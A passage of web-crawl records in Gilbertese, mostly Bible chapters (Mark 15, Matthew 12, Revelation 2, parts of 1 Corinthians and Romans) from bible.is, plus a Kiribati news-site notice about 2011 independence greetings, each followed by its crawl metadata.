ni kaangai, Ngaia ane ko taku. 3Ao a bukinna ni baika a bati ibonga ake a kakannato. 4E a manga titirakinna Birato, ni kaangai, Akea am kaeka ae Ko na taekinna? Noria, a mwaiti baika a taekin bwa bwaini kabuaakakaam. 5Ma akea ana kaeka riki Iesu ae e anga, ma ngaia are e miimii Birato. 6Ni katoaa te tai are e karaoaki iai te Toa are te Riao, ao e tataneiai Birato ni kainaomataa te bure temanna are a buubuti aomata ibukina bwa e na kainaomataaki. 7I buakoia uaake a kainaki bwa buure, ao iai te aomata ae arana Bwarabwa, ae temanna i buakoia ake a bukinaki bwa a tiritiri n te tai are e eekaki nako iai te Tautaeka. 8Ao a aerake aomata nakon te tabo are e mena iai Birato, ao a butiia bwa e na manga katootoonga aron are e kaakaraoia rimoa nakoia. 9Ao e taku nakoia, Kam tangirai bwa N na kainaomataa aia King I-Iutaia n ai aron ami buubuti? 10Bwa n ana iango, e taku bwa ibonga ake a kakannato, a a tia n anga Iesu bwa a bakantang. 11Ma ibonga ake a kakannato, a kairoroia aomata bwa e aonga Birato ni kainaomataa Bwarabwa i bukiia. 12E a manga kaekaia Birato, ni kaangai, Ao tera ae kam tangiria bwa N na karaoia nakon Teuare kam atongnga bwa aia King I-Iutaia? 13A takaarua nakoina, ni kaangai, Kamatea i aon te kaibangaki. 14E taku Birato nakoia, Ao, bwa tera te bwai ae e buaakaka ae E a tia ni karaoia? Ma a kanenei bwanaaia n takaarua, ni kaangai, Kamatea i aon te kaibangaki. 15E kani kakukurei nanoia aomata Birato, ma ngaia are e kabwaraa Bwarabwa i bukiia; ao ngke E a tia ni kataereaki Iesu, ao e anga bwa E na kamateaki i aon te kaibangaki. 16Ao E kairaki Iesu irouia tautia nako nanon te tabo ae te Beritorium, ao a weteiia tautia ake raoia ni kabaneia. 17A kunnikaia Iesu n te kunnikai ae e ura-ro, ao a bira te bau man te kai ae e kateketeke, ao a katokaa i aon atuna. 18Ao a bwai-ni-ngareia n taeka ni karinerine aika a kaangai: Ko na kabwaia, Ngkoe ae aia King I-Iutaia! 19A orea atuuna n te kai, ao a bawareia, ao a katorobubua i aoni waeia bwa aongkoa a karinea. 20Ngke a a tia ni kakanikoa, ao a buuta te kunnikai are e ura-ro mai irouna, ao a manga karini kunnikaina i aona; ao a kairia nako, bwa a na katinea i aon te kaibangaki. 21I aoni kawaia ao a bo ma Timon ae te I-Kurene ngke e ri rarikiia i aoni kawaina man te nukamotu. Teuaei bon taman Arekantero ma Rubo. A kairoroa bwa e na uota ana kaibangaki Iesu. 22A kaira Iesu nakon te tabo ae arana Korokota, ae nanona, Te tabo n Tabwanou. 23N rokoia ikekei, ao a anganna te wain ae renganaki ma te mura; ma E aki nimma. 24A katinea i aon te kaibangaki, ao a kakaaea n te mwakuri ni kaiwa bwa antai ae e na reke tibwana ana kunnikai Iesu; ao a karaoa aei bwa aia kawai n tibwatibwai kunnikaina. 25Te aoa ruaiwa n te ingabong ngke a katinea Iesu i aon te kaibangaki. 26Ao taeka ake E bukinaki iai, a koreaki ni kaangai: Aia King I-Iutaia. 27A katineia naba i aoni kaibangaki n te tabo naba arei, uoman taani kamwarua: temanna i angaataina ao temanna i angamaingina. 29Ao a taetae n iowawa nakoina aomata ake a ri rarikina, ao a katoutou atuuiia ni kaenaenaa, ao a kaangai, E! Ngkoe ae Ko nang urua te umwantabu ao Ko na manga kateia i nanon tenibong, 30kamaiuko, ao ruo man te kaibangaki! 31A kakanikoa naba ibonga ake a kakannato ma taani koroboki, ao a i taetae irouia ni kaangai, E kamaiuiia tabemwaang; E aki konaa te kamaiua. 32Ke E ruo te Kristo ae aia King Iteraera man te kaibangaki, bwa ti na mataku, ao ti a onimaki. 33Ngke e a tawanou, ao e roo aon te aba ni kabutaa ni karokoa te aoa tenua n te tanimaeaontaai. 34Ngke e bo tenua, ao E takaarua Iesu n te bwanaa ae e korakora, ao E kaangai, Eroi, Eroi, ramwa tabwaketani? ae nanona, Atuau, Atuau, e aera ngkai Ko kiitanai? 35A ongo bwanaana aomata ake a teitei ikekei ao a taku, Noria, E wetea Eria! 36Ao e biri temanna ao e kateboa te tibwanti n te wain ae e kamangingi, ao e katekea i tabon te kai, ao e angan Iesu bwa E na mooi iai; ao e taku, Ti na kaantaninga, ao ti na mataku bwa tao e na roko Eria ni karuoa. 37Ao E takaarua Iesu n te bwanaa ae e korakora, ao E mate. 38Ao e raeuaki mai eta nako naano te kunnikai are te roki are e tine n te umwantabu. 39Ao te mataniwi n te taanga ni buaka are tebubua kaaina, ngke e noora Iesu bwa E mate n te aro arei, ao e taku, Bon te koaua bwa Natin te Atua te Aomata aei. 40Iai naba aine ikekei ake a mataku mai kiiraroa; ao e mena i buakoia Nei Maria are te I-Mwaketara, ao Nei Maria are tinan Iote ma Iakobo are te ataei riki; ao raoia naba Tarome, 41are e iriira Iesu ngke E mena i Kariraia, ao e buobuokiia naba; ao raoia naba aine aika a bati ake a airi ma Iesu nako Ierutarem. 42Ngke e a kaani bong, ngke ai tain te katauraoi are tebongina i mwaain te taabati, 43ao e roko Iotebwa ae te I-Arimataia, ae temanna ngaia ae e kakannato bwa kaain te Kauntira, ae e kaantaninga naba rokon uean te Atua. E nako ni Birato ma te aki maaku, ao e butiia rabwatan Iesu. 44E miimii Birato ngke e ongo bwa E a kaman tia ni mate Iesu! E wetea te mataniwi n te taanga ni buaka are tebubua kaaina, ao e titirakinna ni kakaaea koauan te rongorongo arei mai irouna; 45ao ngke e a ataia mai iroun te mataniwi n te taanga ni buaka are tebubua kaaina, ao e a anga rabwatan Iesu nakon Iotebwa. 46Ao Iotebwa e kabooa te kunnikai ae e tamaaroa ae e mainaina, ao e karuoa rabwatan Iesu ao e niiria iai; ao e kawenea n te nne ni mate ae e ekeaki i nanon te bwa, ao e karabinoa te atiibu ae e buubura bwa bonotani matan te nne ni mate. 47Ao Nei Maria are te I-Mwaketara ma Nei Maria are tinan Iote a noora te tabo are e kaweneaki iai rabwatan Iesu.\nMAREKO 15","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/15","date":"2014-04-19T22:47:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609537754.12\/warc\/CC-MAIN-20140416005217-00447-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1137,"character_repetition_ratio":0.062,"word_repetition_ratio":0.012,"special_characters_ratio":0.24,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti na noori taekan amwarake ake karea nakoni bouananti: ti ataia bwa ti bane n atatai, n ai aron aia taeka temwaangina. E karika te kainikatonga te atatai, ma te tangira e buokiia aomata bwa a na teimatoa. 2Te aomata ane e taku bwa e ataa raoi te bwai teuana, ao e bon tuai n ataia n ai aron are e riai n ataia; 3ma ngkana e tangira te Atua te aomata, ao e bon ataaki irouna. 4Ma ngaia are ibukini ngkanne kanakin amwarake ake karea nakoni bouananti, ao aei taekana: ti ataia bwa akea te bouananti ae e maiu i aonnaba, ao bon ti temanna te Atua ni koaua, ao akea riki. 5Bwa e boni ngae n iai aika atongaki bwa aongkoa anti aika a mena i karawa ao i aon te aba—ao e koaua bwa bon iai anti aika a bati, ao a bati naba aika iai mwaakaia 6ma bon ti temanna te Atua iroura, ae te Tama, ae a bane n riki bwaai irouna, ao ti maiu ibukina; ao ti temanna te Uea bwa Iesu Kristo, are a bane ni karikaki bwaai irouna, ao ti maiu irouna. 7Ma a aki bane aomata nako n ataa te koaua aei. A a tia n taneiai aomata temwaangina ma bouananti, ao a taku naba ngkai bwa ngkana a kang amwarake ake karea nakoni bouananti, ao a kang iai kanaia bouananti aika a maiu; e a kaangaanga irouia ae a na ataia bwa e eti ke e aki are a karaoia, ao e a reke irouia te namakin ae a taku bwa a kamwaraa iai ngke a kang. 8Ma akea aron te amwarake ae e na karaoiroaki riki iai reitakira ma te Atua. Akea te bae ti na buaakaka riki iai ngkana ti amwarake, ao akea naba te bae e na karaoiroira riki iai ngkana ti amwarake. 9Ma kam na tarataraia bwa e na aki riki inaomatami aei bwa te bwai ni kabwakabwaka nakoia akana mamaara n te onimaki. 10Bwa ngkana ko nooraki, ngkoe ae iai am atatai, iroun temanna ae e mamaara mataniwiin nanona bwa ko rarikiriki n amwarake i nanon te tabo are e tataromauriiaki iai te bouananti, ao tiaki e na buokaki iai nanona n nooram irouna bwa e na kang amwarake ake karea nakoni bouananti? 11Ma ngaia ae ibukin am atatai ao e a uruaki iai maiun teuare e mamaara, ae te tia onimaki ae e mate Kristo ibukina. 12N te aro aei ao ko bure iai nakoni Kristo, ngke ko bure nakoia raom n onimaki aika a mamaara, ao ko urui mataniwiin nanoia. 13Ma ngaia aei, ngkana e na riki te amwarake bwa te bwai ni kabwakabwaka nakon raou n onimaki, ao N na bon aki manga kang iriko-maiu, bwa I kaawa n riki bwa te bwai ni kabwakabwaka nakon tariu.\n1 KORINTO 8","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/8","date":"2014-04-18T03:05:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609532480.36\/warc\/CC-MAIN-20140416005212-00333-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":466,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.461,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TERA AE TAUKO!\nE kakawaki kaotaan am katanoata n ururing, am katekeraoi ao am tangira nakoia raorom ma am utu nako iaon Kiribati ao riki ake a mena i tinanikun Kiribati. Ao ngkami kaain Kiribati ake kam mena ngkai i tinanikun Kiribati ao aio naba ami tai ni kaota ami tangira, ami katekeraoi ao ami ururing nakoia raoraomi ma ami koraki n taabo ake a mena iai bon iaon Kiribati ao n (ma tamntaabo nako.\nAkea angana-koreia ma ikanne ao send erina ngkana ko tangiria) nakon te email aio:\nm_kiribatiupdates.com.ki\nemail@example.com\nke ring 00 686 98291\nUringnga bwa waekoan tiana ma ikanne ao waekaon naba norana irouia ami koraki ao raoraomi nako n taabo ake a mena iai n te aonaba.\nAo ngkoe are ko iangoa am katanoata ibukn am karikirake ni kamwarake n te kainaomata aio ke bon am bitineti n am tabo are ko ena iai, kanakomaia naba n aron aio bwa ti na katokai ao n tuanga te botanaomata naba, akea naba boona ngkai ni wikin te kainaomata aio.\nKam rabwa ao tekeraoi ngkami ni wikin te kainaoamta aio 2011.\nTEKERAOI ANA KA-32 N RIRIKI NI KAINAOMATA ABARA AE KIRIBATI N 2011.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/kiribatiupdates.com.ki\/2011\/07\/10\/kanakoa-ami-katekraoi-ngkai-nakoia-raraomi-n-tain-te-kaiaomata-aio-2011\/","date":"2014-04-25T08:48:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1398223211700.16\/warc\/CC-MAIN-20140423032011-00553-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":190,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te taina, ngke E ri nuukani nnen te aroka ae te uiita Iesu ma ana reirei n te taabati, ao a kiniki uaan uiita ana reirei ni kang bwa a baki. 2Ngke a nooria Bwaritaio tabemwaang, ao a taku nakoina, Noria, a urua tuan te taabati am reirei n ae a karaoia. 3Ao Ngaia E taku nako ia, Kam tuai ni wareka taekan te baere e karaoia Tawita ngke e baki, ngaia ma uaake raona? 4Ao arona ngke e rin n te umwantabu ao e kana te berena are e kaotiotaki, are e tabu n taekana n te tua bwa e na kanna ke a na kanna uaake raona, ma ti ibonga aika a kariaiakaki? 5Ao kam tuai naba ni wareki taekan aroia ibonga n te Tua, bwa n te taabati ao ibonga, i nanon te umwantabu, a urua tuan te taabati, ao a aki bure iai? 6Ma I taku nakoimi, bwa bon iai ikai ae e kakannato riki nakon te umwantabu. 7Ao ngke arona bwa kam ataa nanon ae e kaangai, I tangira te nanoanga, ao I aki tangira te angakarea, ao kam na aki kabuaakakaia aika a aki bure. 8Bwa Natin te aomata bon Uean te taabati. 9Ao E kiitana ikekei Iesu, ao E rin ni mwaneabaia I-Iutaia; 10ao nooria, e mena iai te aomata ae e mate baina. Iai aomata tabemwaang ake a kani karekea kabuaakakaan Iesu, ma ngaia are a taku nakoina, E riai n taekan te tua bwa ti na katoki aoraki n te taabati? 11Ao Ngaia E kaekaia ni kaangai, Antai i buakomi, ae iai ana tibu ae ti temanna irouna, ae ngkana e bwaka n te mwarua n te taabati, ao e na aki anaia ni kaaerakea? 12E rangi ni kakaawaki riki te aomata nakon te tibu! Ma ngaia ae e riai n taekan te tua bwa e na karaoaki ae e raoiroi n te taabati. 13Ao E taku nakon teuarei, Arora baim. Ao e aroria, ao e a maiu naba n aron are teaina. 14Ao a oti nako Bwaritaio, ao a kaboowiia aron Iesu bwa a na kangaa ni kamatea. 15Ao Iesu, ngke E ataa are a iangoia Bwaritaio, ao E kiitana ikekei; ao a iria aomata aika a rangi ni mwaiti, ao E kamaiuiia ni kabane ake iai aorakiia, 16ao E tuangiia bwa a na aki katanoataa taekana n taabo nako; 17Bwa e na kakoauaaki are e atongaki iroun Itaia are te buraabeti ngke e kaangai: 18Nora au tia mwakuri, ae I rineia, ae E tangiraki irou, ae I kakatonga irouna; N na kaaki Taamneiu i aona, ao E na tuangiia ianena bwa e na reke nakoia te kaeti-taeka ae e raoiroi. 19E na aki mwamwangaingai, ao e na aki tatakaarua, ao a na aki ongo bwanaana aomata i tuutani kawai; 20E na aki kinika te uteute mani mwaotona, ao E na aki kamatea mwaakaron taboni wiikin te taura ni karokoa ae E katokanikaia te kaeti-taeka ae e raoiroi. 21Ao ane a na onimakinna ianena. 22Ao e uotaki nakon Iesu temanna ae e bae newena ao e mataki ibukina bwa e taniaki n te taimonio. E kamaiua Iesu, ma ngaia are e a konaa n taetae, ao e a nooraaba. 23Ao a bane ni miimii aomata ao a taku, Tao Natin Tawita Teuaei? 24Ma ngke a ongo Bwaritaio, ao a taku, E kanakoia taimonio Teuaei ti ni mwaakan Beretebubwa are aia uea taimonio. 25E atai aia iango Iesu, ma ngaia are E taku nako ia, Te tau-taeka ae e bwenaua nakoni mwakoro aika a kakao koro aika a a ekiia nako i bon irouia, e na bon aki tei maan; ao akea te kaawa ke te utu ae e koroutuuaki ae e na aki bwenaua; 26ao ngkana e a manga bon ekia nako Tatan i bon irouna, ao e na kangaa ngkanne n tei ueana? 27Ao ngkana I kanakoia taimonio ni mwaakani Beretebubwa, ao natimi a kanakoia ni mwaakan antai? Ma ngaia are ibukin aei, ao a na riki natimi bwa taani motiki-taekami. 28Ma ngkana ni mwaakan Taamnein te Atua ae I kanakoia iai taimonio, ao nanona ngkanne bwa e a roko uean te Atua iroumi. 29Ao e na iranna te aomata n rin n ana auti temanna ae e aintoa n anai ana bwai ngkana e aki kabaea moa teuare e aintoa? Ao ngkana e a tia, ao e a konaa ngkanne n anai ana bwai ake n ana auti. 30Ane e aki mena irou, ao e rawa nakoiu; ao ane e aki uaia ni bobooti ma Ngai, ao e kamaae nako. 31Ma ngaia ae I taku nakoimi, A bane ni kabwaraaki aia bure aomata ma taetaebuaka ake a taekin, ma te bure ae te taetaebuaka nakon te Taamnei e na bon aki kabwaraaki. 32Ane e taetae n eekaanako Natin te Aomata, ao e na kabwaraaki ana bure; ma ane e taetae n eekaanako te Taamnei are e Raoiroi, ao e na bon aki kabwaraaki ana bure n te aonnaba aei, ke n te aonnaba ae e na roko. 33E riai n iai iroumi te kai ae e maiu raoi ngkana kam tangira te uaa ae e raoiroi; ngkana e aki maiu raoi te kai, ao ane kam na karekea uaana ae e buaakaka; bwa e kinaaki aron te kai n uaana. 34Ngkami aika buniia naeta! A na kangaa n raraoi ami taeka, ngkai kam buaakaka? Bwa e taetae te wi man onraken te nano. 35E kaoti baika a raraoi te aomata ae e raoiroi man ana bwai nako aika a raraoi; ao e kaoti baika a bubuaka te aomata ae e buaakaka man ana bwai nako aika a bubuaka. 36I tuangkami, bwa n te bongi ni motiki-taeka, ao aomata akana a na kabwarabwara ibukin taeka nako ake akea maneia ake a atong; 37bwa ko na karaoiroaki n am taeka, ao ko na kabuaakakaaki n am taeka. 38Ao ngkanne, a titirakina Iesu taani koroboki ma Bwaritaio tabemwaang, ao a kaangai, Te Tia Reirei, ti kan noora te kanikina mai iroum. 39Ma E kaekaia Iesu ao E taku, A ukoukora te kanikina te roro ae e buaakaka ae e aki ongotaeka nakon te Atua; ma akea te kanikina ae a na anganaki, bwa ti te kanikina are te baere e riki nakon Iona are te buraabeti. 40Bwa aron Iona ngke e mena i nanoni biroton te ika ae rangi ni buubura tenibong te ngaina ao tenibong te bong, ao ai aron naba Natin te Aomata: bwa e na mena i aantano tenibong te ngaina ao tenibong te bong. 41Ane a na kaoti I-Ninewe n te bongi ni motiki-taeka ma kaain te roro aei, ao ane a na kabuaakakaia kaain te roro aei; bwa a rairi nanoia I-Ninewe n ana kabwaraa bwara Iona; ao nooria, iai ikai ae e kakannato riki nakon Iona. 42Ane e na kaoti ueani maiaki te aine n te bongi ni motiki-taeka ma kaain te roro aei, ao ane e na kabuaakakaia; bwa e roko neierei man te tabo ae te kabanea n raroa bwa e na ongoraa n rabakaun Toromon, ao nooria, iai ikai ae e kakannato riki nakon Toromon. 43Ngke e oti nako te anti ae e kamwaraa mai nanon te aomata, ao e nakonako i aon taabo aika a mwauteretere bwa e na ukoukora te nne ni motirawa iai; ma akea ae e kunea iai. 44E iango ngkanne ao e taku, N na okira au auti are I kiitanna; ao ngke e roko iai, ao e nooria bwa akea kaaina, ao e iakinaki, ao e baaireaki raoi nanona. 45Ao e nako ni kairiia itiman anti aika a buaakaka riki nakoina, ao a rin ao a maeka iai; ao e a buaakaka riki aron te aomata arei nakon arona are rimoa. Ao ai aron naba ae e na riki nakon te roro ae e buaakaka aei. 46Ngke E taetae Iesu nakoia aomata, ao nooria, a tei i tinaniku tinana ma tarina nako, ao a tuatua bwa a kan taetae ma Ngaia. 47E taku temanna nakoina, A tei i tinaniku tinam ma tarim nako, ao a tuatua bwa a kan taetae ma Ngkoe. 48Ao Ngaia E kaekaa teuare e tuangnga, ao E kaangai, Antai tinau, ao antai tariu? 49Ao E arora baina nakoia ana reirei ao E taku, Aikai tinau ma tariu nako! 50Bwa ane e toua mwiin ana taeka Tamau are i karawa, ao bon tariu, ao mwaaneu, ao tinau.\nMATAIO 12","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/12","date":"2014-04-21T05:17:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609539493.17\/warc\/CC-MAIN-20140416005219-00101-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1386,"character_repetition_ratio":0.049,"word_repetition_ratio":0.004,"special_characters_ratio":0.242,"stopwords_ratio":0.482,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ko na koroboki nakon ana anera te ekaretia are i Ebeto ni kaangai: Aio ana taeka Teuare e tau itoi ake itiua i ataina, are E nakonako i buakoni kain-tei n taura ake koora ake itiua: 2I atai aroarom ni kabane, ma arom n rangi ni mwakuri korakora, ma nanomwaakam, ma arom n aki konaa n taona nanom nakoia akana buaakaka; ao ko a tia ni kataiia akana taku bwa taan tuatua ngaiia ngke bon tiaki, ao ko kuneiia bwa bon taani kewekewe. 3Iai iroum te nanomwaaka, ao ko taotaona nanom ibukin arau, ao e aki bwara nanom. 4Ma iai te bwai ae N na waeiko iai, bwa ko a tia ni kaaki te tangira are e reke iroum ngke ko moan riki bwa te Kristian. 5Ma ngaia ae ko na uringa te aro are ko bwaka maiai, ao ko na raira nanom, ao karaoi mwakuri ake ko karaoi ngke ko moa n riki bwa te Kristian; ao ngkana ko aki, ao ae N na nakoim, ao N na uota nako am kain-tei n taura mani nnena. 6Ma iai arom aei: ko ribai aia mwakuri raon Nikorao, ake mwakuri ake I ribai naba. 7Ane iai taningana n ongo, ao ke e ongo ana taeka te Taamnei nakoia ekaretia. Ane e tokanikai ao N na anganna te amwarake man te kai ni maiu are e mena n ana Bwaretaiti te Atua. 8Ao ko na koroboki nakon ana anera te ekaretia are i Temurena ni kaangai: Aio ana taeka Teuare bon te Moa ao te Toki, are E a tia ni mate, ao E a manga maiu: 9I ataa rawaawatam ma aki-kaubwaim; ma ko boni kaubwai! I ataa taetaebuakaam irouia ake a taku bwa I-Iutaia ngaiia, ao bon tiaki, ma bon ana bootaki n aomata Tatan! 10Ko na tai maakui baika ko nangi maraki iai; nooria, ane e nang kaakiia tabemwaang i buakomi te riaaboro i nanon te karabuuti, bwa kam aonga ni kataaki iai, ao tengaun ami bong ni maraki iai. Ko na kakaonimaki ni karokoa matem, ao N na anganiko te bau are te maiu. 11Ane iai taningana ao ke e ongo ana taeka te Taamnei nakoia ekaretia. Ane e tokanikai ao e na bon aki kammarakaki n te mate are te kauoua. 12Ao ko na koroboki nakon ana anera te ekaretia are i Berekamo ni kaangai: E kaangai Teuare iai irouna te kabaang are e kakang, ae uaitera wina, 13I ataa ike ko mena iai, ike e mena iai ana kaintokanuea Tatan: ko kakaonimaki nakoiu, ao ko aki kaaki arom n onimakinai n te tai are e kamateaki iai Antibwati are au tia kaotioti are e kakaonimaki, are e kamateaki i buakomi, ike e maeka iai Tatan. 14Ma iai bwaai tabeua aika I riai ni waeiko iai: bwa iai iroum ikekei aika a toua mwiin ana reirei Bwaraam, are e reireia Bwaraka bwa e na kaaki te bwai ni kabwakabwaka i mataia te bootanaomata ae Iteraera bwa a aonga ni kang kareani bouananti, ma ni wene ni bure. 15Ao bon iai naba iroum temwaangina ake a tou mwiin aia reirei te koraki ake raon Nikorao n te aro naba anne. 16Ma ngaia ae ko na raira nanom; ao ngkana ko aki, ao ae N na waetata n nakoim, ao N na buakaniia te koraki anne n au taeka akana a na korokoro n ai aron te kabaang. 17Ane iai taningana n ongo ao ke e ongo ana taeka te Taamnei nakoia ekaretia. Ane e tokanikai ao I a anganna te maana are e raba, ao N na anganna te atiibu ae e mainaina ma te ara ae e boou ae e koreaki i aona, ae te ara ae akea temanna ae e ataia bwa ti ane e anganaki. 18Ao ko na koroboki nakon ana anera te ekaretia are i Tuateira ni kaangai: E kaangai Natin te Atua, are iai matana aika ai aron uran te ai, ma waena aika ai aron te buraati ae e raneanea: 19I atai aroarom ni kabane ma am tangira, ma am onimaki, ma aakoan te aba iroum, ma nanomwaakam, ma am mwakuri ake ko a tibwa karaoi rimwi bwa a mwaiti riki nakon ake rimoa. 20Ma iai te bwai ae N na waeiko iai: bwa ko aki tuuka te aine are Ietebera, are e taku bwa te buraabeti ngaia; ao e reireiia ni burebureiia au toro bwa a na wene ni bure, ma ni kang kareani bouananti; 21ao I anganna ana tai are e na raira nanona iai man arona ni wene ni bure, ma e rawa ni kan rairaki man arona ni wene ni bure. 22Noria, N na kaaoraka neierei, ao uaake a wene ni bure ma ngaia, N na karawaawataiia n te aro ae e korakora, ngkana a aki rairi nanoia ni kiitan aia mwakuri ake a karaoi ma neierei; 23ao N na kamateia natin neierei, ao ane a na bane ekaretia n ataai bwa te tia tirotiroi naano ma iango aika a raba Ngai; ao N na anganingkami n tatabemaningkami nako booni mwiin ami mwakuri. 24Ma ngkami, akana nikiraia ami koraki i Tuateira, akana kam aki toua mwiin te reirei ae e buaakaka aei, akana kam aki atai baikana a atongaki irouia temwaangina bwa ana bwai Tatan aika a nano, I aki kani kaaki riki te rawaawata teuana i aomi. 25Ma kam na taua ane iroumi ni karokoai. 26Ao ane e tokanikai, ma ni karaoi baike I tuangnga bwa e na karaoi ni karokoa te toki, ao N na anganna te mwaaka n tauu taekaia bootanaomata; 27ao N na anganna te mwaaka are ti te bo ma are I anganaki mai iroun Tamau, ao e na tauu taekaia ni kairiia ma te matoa, ao a na uruaki n ai aroni mwangko aika a karaoaki man te bokaboka; 28ao N na anganna te itoi ni ngaina. 29Ane iai taningana ao ke e ongo ana taeka te Taamnei nakoia ekaretia.\nTE KAOTIOTI 2","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/2","date":"2014-04-18T21:49:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609535095.9\/warc\/CC-MAIN-20140416005215-00319-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":979,"character_repetition_ratio":0.06,"word_repetition_ratio":0.044,"special_characters_ratio":0.234,"stopwords_ratio":0.453,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:11E na moamoa iroumi te tangira; ma kam na bati n tangiri naba bwaai n tituaraoi ake mai iroun te Taamnei, ma ai moa ra riki bwa kam na konaa n taetae ni buraabeti. Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/1","date":"2014-04-21T05:25:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609539493.17\/warc\/CC-MAIN-20140416005219-00552-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":0.9999620914,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999620914459229}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae e bon akea aonam, ngkoe ae te aomata ae ko taku n am baaire bwa a buaakaka aomata nako: bwa ane ko taku bwa e buaakaka, ao ko boni motika naba iai taekam ni kabuaakakako, ibukina bwa ngkoe ae ko kabuaakaka, ko boni karaoi naba baikai. 2Ma ti ataa ana motiki-taeka te Atua bwa e eti nakoia akana karaoi baikai. 3Ao ngkoe ae te aomata ae ko taku n am baaire bwa a buaakaka aomata aika a karaoi baikai, aika ko boni karaoi naba, ko konaa ni biri nako mai mwaain ana motiki-taeka te Atua? 4Ke ko aki rangi ni mutiakina ana atataiaomata ae e bati, ma taotaonan nanona, ma arona n aki kakaiun? Ao ko aki ataa ana atataiaomata te Atua bwa e kairiko nakon rairan nanom? 5Ma ngkai a matoatoa nanomi n rawa ni kani kaetaki, ao kam kaikoa te un nakoimi nakon te Bong are e na kaotaki iai unin te Atua ma ana motiki-taeka ae e eti. 6Bwa E na bon angania aomata nako booni mwiin aia mwakuri: 7nakoia ake a ukoukora te neboaki ma te karineaki ma te aki-maamate, n aia botumwaaka ni kaakaraoi mwakuri aika a raoiroi, te maiu are e aki toki; 8ao nakoia ake a ukoukori ti oini kabwaiaia, ake a aki ira nanon te koaua, ma a ira nanon te buaakaka, e na roko unin te Atua i aoia ao e na rawaawata ana moti nakoia. 9A na rootaki n te rawaawata ma te maraki maiuia aomata nako akana kaakaraoa te buaakaka, aika I-Iutaia moa ao I-Erene naba; 10ma te neboaki ma te karineaki ma te rau bon aia bwai aomata nako akana kaakaraoa te raoiroi, aika I-Iutaia moa ao I-Erene naba. 11Bwa e aki nanonano te Atua. 12Bwa ngkai a bati aika a bure ao akea te Tua irouia, ao a na boni mate n akea naba te Tua irouia; ao ngkai a bati aika a bure ao iai te Tua irouia, ao a na boni baaireaki taekaia i aan te Tua. 13Bwa tiaki akana ongoraa n te Tua ae e na reke irouia te reitaki ae e raoiroi ma te Atua, ma e na reke irouia akana ira nanon te Tua. 14Bwa aomata aika tiaki I-Iutaia aika akea te Tua irouia, ngkana a ongeaaba nakoni bwanaan i mataniwiin nanoia n aki ataia ae a ira iai nanon te Tua, ao a kaotiia iai bwa a ataa ae a riai ni karaoia ao ae a aki, e ngae ngke akea te Tua irouia. 15A kaotaki n aroia bwa e koreaki i nanoia kanoan te Tua, ao a kaota aei mataniwiin nanoia bwa e koaua, ngkai a konaa n tuangaki n aia iango bwa a raoiroi ke a buaakaka baike a karaoi. 16Ma ngaia are n reitaki ma kanoan te euangkerio ae I tataekinna, ao bon aei aron te bae e na riki n te Bong arei, ngkana E motiki-taekaia aomata te Atua i nanon Iesu Kristo ni kaeti ma iango ake a raba i nanoia aomata. 17Ma ngkoe, ko taku bwa te I-Iutaia; ko onimakina te Tua, ma ni kamoamoako ibukin arom n reitaki ma te Atua; 18ko ataa nanon te Atua, ao ko rabakau n rinea ae e raoiroi, ibukina bwa ko reireiaki n te Tua; 19ko onimakiniko bwa te tia kaiririia mataki ngkoe, ao te oota nakoia akana mena n te roo, 20ao te tia reireiia akana mamaara nanoia ma merimeri, ao ko atai kanoan 